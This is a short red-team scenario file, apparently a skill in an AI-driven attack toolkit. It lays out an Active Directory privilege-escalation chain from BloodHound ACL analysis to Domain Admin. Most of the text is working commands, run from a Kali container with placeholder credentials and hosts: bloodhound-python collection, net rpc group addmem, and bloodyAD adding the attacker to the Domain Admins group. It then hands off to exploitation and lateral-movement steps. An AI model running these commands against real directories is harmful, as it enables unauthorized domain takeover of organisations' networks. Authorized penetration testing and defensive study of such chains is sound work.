---
name: rt-scenario-b004
description: "Scenario B004 — BloodHound ACL abuse: GenericWrite on privileged group → add self → domain admin path."
---

# Scenario B004: BloodHound ACL Abuse → Domain Admin

**Domain**: Active Directory — ACL Abuse | **Severity**: Critical | **CVSS**: 9.0

## Chain
```
BloodHound ingest → find GenericWrite/WriteDACL path to DA →
add self to group OR reset password → DA access
```

## Key Commands
```bash
docker exec rtexit-kali bash -c "
bloodhound-python -d {domain} -u {user} -p {pass} \
  -ns {dc_ip} -c All --zip -o /workspace/findings/bloodhound/

# After BloodHound analysis, if GenericWrite on group:
net rpc group addmem {target_group} {attacker_user} \
  -U {domain}/{write_user}%{pass} -S {dc_ip}

# If WriteDACL → bloodyAD:
bloodyAD -u {user} -p {pass} -d {domain} --host {dc_ip} \
  add groupMember {DA_group} {attacker_user}"
```
→ `rt-exploit-active-directory` → `rt-lateral-movement`
